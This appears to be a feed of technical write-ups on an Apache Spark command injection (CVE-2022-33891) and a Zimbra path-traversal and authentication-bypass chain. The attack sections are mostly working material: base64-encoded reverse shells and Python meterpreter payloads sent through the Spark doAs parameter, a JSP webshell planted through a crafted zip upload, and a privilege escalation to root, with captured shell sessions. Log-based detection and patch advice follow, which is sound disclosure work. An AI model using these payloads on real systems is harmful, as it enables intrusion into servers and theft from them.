Activity Feed

Technical Analysis

Apache Spark released the latest security bulletin on July 18, which contains a shell command injection vulnerability (CVE-2022-33891). The security researcher Kostya Kortchinsky (Databricks) has been credited with reporting this flaw.

What is exactly the issue?
In the vulnerable versions of Apache Spark, a non-default setting called spark.acls.enable true triggers a shell command injection code vulnerability. This piece of code is responsible to check the permission of an user using a bash command shell in combination with the unix id command. Ironically the spark.acls.enable true configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.

  private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet

You can trigger this very easily using ?doAs parameter passing a raw Linux command:

http://<spark-ip>:8080/?doAs=`[command injection here]`

User commands are processed through ?doAs parameter and nothing reflected back on the page during command execution, so this is a blind OS injection.

To demonstrate this vulnerability, download a vulnerable Spark docker image from dockerhub (

  1. Startup the Docker image
  2. In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
  3. In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  4. Restart docker image

Craft the command injection.
We will use a simple reverse shell payload: sh -i >& /dev/tcp/ 0>&1

# echo 'sh -i >& /dev/tcp/ 0>&1' | base64
# curl -d 'doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0IDA+JjEK | base64 -d | bash`' -X POST

Netcat listener

# nc -nvlp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 65314
$ whoami

Other example with Metasploit using python meterpreter
Setup and start the handler…

msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on
msf6 exploit(multi/handler) > jobs


  Id  Name                    Payload                         Payload opts
  --  ----                    -------                         ------------
  0   Exploit: multi/handler  python/meterpreter/reverse_tcp  tcp://

Craft the payload with msfvenom

#  msfvenom -p python/meterpreter/reverse_tcp LHOST= LPORT=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
No encoder specified, outputting raw payload
Payload size: 497 bytes

Code the payload…

# echo "python -c \"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))\"" | base64

Execute the payload…

# curl -d 'doAs=`echo cHl0aG9uIC1jICJleGVjKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX2ltcG9ydF9fKCdjb2RlY3MnKS5nZXRlbmNvZGVyKCd1dGYtOCcpKCdhVzF3YjNKMElITnZZMnRsZEN4NmJHbGlMR0poYzJVMk5DeHpkSEoxWTNRc2RHbHRaUXBtYjNJZ2VDQnBiaUJ5WVc1blpTZ3hNQ2s2Q2dsMGNuazZDZ2tKY3oxemIyTnJaWFF1YzI5amEyVjBLRElzYzI5amEyVjBMbE5QUTB0ZlUxUlNSVUZOS1FvSkNYTXVZMjl1Ym1WamRDZ29KekU1TWk0eE5qZ3VNakF4TGpnbkxEUTBORFFwS1FvSkNXSnlaV0ZyQ2dsbGVHTmxjSFE2Q2drSmRHbHRaUzV6YkdWbGNDZzFLUXBzUFhOMGNuVmpkQzUxYm5CaFkyc29KejVKSnl4ekxuSmxZM1lvTkNrcFd6QmRDbVE5Y3k1eVpXTjJLR3dwQ25kb2FXeGxJR3hsYmloa0tUeHNPZ29KWkNzOWN5NXlaV04yS0d3dGJHVnVLR1FwS1FwbGVHVmpLSHBzYVdJdVpHVmpiMjF3Y21WemN5aGlZWE5sTmpRdVlqWTBaR1ZqYjJSbEtHUXBLU3g3SjNNbk9uTjlLUW89JylbMF0pKSIK | base64 -d | bash`' -X POST

Meterpreter session…

msf6 exploit(multi/handler) >
[*] Sending stage (40168 bytes) to
[*] Meterpreter session 4 opened ( -> at 2022-08-19 21:12:25 +0000

msf6 exploit(multi/handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > shell
Process 258 created.
Channel 1 created.
uname -a
Linux 7a26a9fb7ce3 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022 x86_64 GNU/Linux
ps ax
    1 ?        Ss     0:00 bash /opt/bitnami/spark/sbin/
   33 ?        S      0:00 bash /opt/bitnami/spark/sbin/ start org.apache.spark.deploy.master.Master 1 --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
   38 ?        Sl     6:08 /opt/bitnami/java/bin/java -cp /opt/bitnami/spark/conf/:/opt/bitnami/spark/jars/* -Xmx1g org.apache.spark.deploy.master.Master --host 7a26a9fb7ce3 --port 7077 --webui-port 8080
  216 pts/0    Ss+    0:00 /bin/sh
  245 pts/1    Ss+    0:00 /bin/sh
  254 ?        Rsl    0:04 python -c exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjAxLjgnLDQ0NDQpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
  258 ?        S      0:00 /bin/sh
  270 ?        R      0:00 ps ax

To fix CVE-2022-33891, we recommend that users upgrade the Apache Spark to version 3.1.3, 3.2.2, or 3.3.0 or later in time.

Technical Analysis

We analyzed this Zimbra vulnerability as part of CVE-2022-27925.

Indicated sources as
Technical Analysis

This is really bad – remote root on an organization’s email server, if combined with other (currently 0-day vulnerabilities). Patch ASAP!

Technical Analysis


On May 10, 2022, Zimbra released versions 9.0.0 patch 24 and 8.8.15 patch 31 to address multiple vulnerabilities in Zimbra Collaboration Suite, including CVE-2022-27924 (which we wrote about previously) and CVE-2022-27925.

Originally, Zimbra called CVE-2022-27925 an authenticated path-traversal attack, where an administrative user could write files into any directory on the filesystem as the Zimbra account. Because it was originally thought to be an administrator-only attack, NVD assigned it a CVSS base score of 7.8. Later, Volexity noticed that attackers exploiting this vulnerability had found a way to bypass the administrative requirements, and wrote about it on August 10, 2022. This new authentication bypass got a new identifier – CVE-2022-37042.

By combining the original path-traversal vulnerability and new authentication bypass, attackers can remotely compromise a Zimbra Collaboration Suite system via the administrator port (by default, 7071) anonymously. Combined with a currently unpatched privilege escalation vulnerability that we recently wrote about and wrote an exploit for, these three vulnerabilities lead to remote command execution as the root user on unpatched systems.

Although the public advisories don’t mention it, according to our analysis, Zimbra Collaboration Suite Network Edition (the paid edition) is vulnerable, and the Open Source Edition (free) is not (since it does not have the vulnerable mboximport endpoint). Vulnerable versions are:

  • Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
  • Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)

These vulnerablities (and others in Zimbra) are being targeted for widespread exploitation in the wild, and should therefore be patched or taken offline as soon as possible. If you suspect you’ve been compromised, Zimbra provides steps to rebuild your Zimbra Collaboration Suite server from scratch on the latest patch without losing data.

Technical analysis

The core issue in CVE-2022-27925 is that the /service/extension/backup/mboximport endpoint on Zimbra Collaboration Suite’s administrative port (7071 by default), which is designed to accept a .zip file import, does not validate paths and is therefore vulnerable to a path-traversal attack. A .zip file with a relative path can write anywhere on the file system. To demonstrate, we created a .zip file with a long path, then replaced that path with path traversal:

$ echo 'Hello, world!' > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ zip aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  adding: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (stored 0%)
$ sed -i 's|aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa|../../../../../../../../../../../tmp/test.txt|'

Then we upload it to the Zimbra server using cURL, passing a valid token (which, as we’ll see, is actually not required):

$ curl -X POST -k '' -b 'ZM_AUTH_TOKEN=0_530[...]b' --data-binary **[@test](/contributors/test)**.zip
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 Error importing mailbox for account admin on server unable to read metadata for account f4ddb29a-340f-4373-8171-c18b64c4b485</title>

We can verify it’s written to the server:

root@zimbra6:~# ls -l /tmp/test.txt
-rw-r----- 1 zimbra zimbra 14 Aug 18 22:18 /tmp/test.txt
root@zimbra6:~# cat /tmp/test.txt
Hello, world!

The more recent authentication-bypass vulnerability – CVE-2022-37042 – was simply that the authentication cookie is not actually necessary:

$ echo 'Hello, world!' > aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ zip aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  adding: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (stored 0%)
$ sed -i 's|aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa|../../../../../../../../../../../tmp/test2.txt|'
$ curl -X POST -k '' --data-binary **[@test](/contributors/test)**
$ ssh root@ cat /tmp/test2.txt
Hello, world!

We can also create a JSP payload using msfvenom, then upload it to the public webroot:

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= RHOST= -f jsp -o aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of jsp file: 1919 bytes
Saved as: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

$ zip aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 
  adding: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa (deflated 59%)

$ sed -i 's|aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa|../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp|' 

$ curl -X POST -k '' --data-binary **[@test](/contributors/test)**

Then set up a Metasploit listener:

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on

Trigger the payload:

curl -k ''

And get the shell:

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 
[*] Sending stage (3020772 bytes) to
[*] Meterpreter session 1 opened ( -> at 2022-08-18 15:32:50 -0700

meterpreter > getuid
Server username: zimbra

And, for bonus points, use an 0-day to get root:

meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use exploit/linux/local/zimbra_slapper_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > set SESSION 1
msf6 exploit(linux/local/zimbra_slapper_priv_esc) > exploit

[*] Started reverse TCP handler on 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.pz8ORN
[*] Attempting to trigger payload: sudo /opt/zimbra/libexec/zmslapd -u root -g root -f /tmp/.pz8ORN/.w7ryDXBV
[*] Sending stage (3020772 bytes) to
[+] Deleted /tmp/.pz8ORN
[*] Meterpreter session 2 opened ( -> at 2022-08-18 15:34:49 -0700

meterpreter > getuid
Server username: root


This vulnerability lets us overwrite an arbitrary file, so an attacker can exploit this in a variety of ways depending on their goal. The most obvious exploit route, however, is the one we demonstrated – writing a webshell to the public directory (either zimbra/ or zimbraAdmin/). Any unusual files in those folders should be suspect.

The file /opt/zimbra/log/mailbox.log logs any bad .zip file it receives with entries such as:

2022-08-18 22:27:57,060 ERROR [qtp678433396-593:https:] [] mboxmove - Auth failed
2022-08-18 22:27:57,061 INFO  [qtp678433396-593:https:] [] mboxmove - Importing mailbox for account admin overwrite=true
2022-08-18 22:27:57,062 INFO  [qtp678433396-593:https:] [] mboxmove - Importing data for admin into mailbox id 1.
2022-08-18 22:27:57,062 WARN  [qtp678433396-593:https:] [] mboxmove - IO error unable to read metadata for account f4ddb29a-340f-4373-8171-c18b64c4b485
	at com.zimbra.cs.backup.util.Utils.IOException(
	at com.zimbra.cs.backup.ZipBackupTarget$RestoreAcctSession.<init>(
	at com.zimbra.cs.backup.ZipBackupTarget.getAccountSession(


Caused by: com.zimbra.common.service.ServiceException: system failure: Unable to parse XML file /opt/zimbra/backup/tmp/mboxmove/f4ddb29a-340f-4373-8171-c18b64c4b485/meta.xml
	at com.zimbra.common.service.ServiceException.FAILURE(
	at com.zimbra.cs.backup.XmlMeta.readAccountBackup(
	at com.zimbra.cs.backup.ZipBackupTarget$RestoreAcctSession.<init>(

Any of these errors would detect an attempted attack, as well as any accesses to the /service/extension/backup/mboximport endpoint, which is not typically used:

# cat /opt/zimbra/log/access_log.2022-08-18 - - [18/Aug/2022:22:17:03 +0000] "POST HTTP/1.1" 400 387 "-" "curl/7.82.0" 2 - - [18/Aug/2022:22:17:09 +0000] "POST HTTP/1.1" 400 521 "-" "curl/7.82.0" 2 - - [18/Aug/2022:22:18:11 +0000] "POST HTTP/1.1" 400 521 "-" "curl/7.82.0" 2 - - [18/Aug/2022:22:25:32 +0000] "POST HTTP/1.1" 401 287 "-" "curl/7.82.0" 12 - - [18/Aug/2022:22:27:57 +0000] "POST HTTP/1.1" 401 287 "-" "curl/7.82.0" 12

Note that because this chain of exploits gains root access, attackers can tamper with logfiles at will.


Because this is being actively exploited, Rapid7 strongly encourages all Zimbra Collaboration Suite users to either update their Zimbra installations, or to temporarily take them offline until they can be updated. If you suspect you’ve been compromised, you should rebuild your Zimbra server instead of trying to recover.


Indicated source as
Indicated source as
Indicated source as
  • Other: Rapid7 has received reliable private reports of widespread exploitation in the wild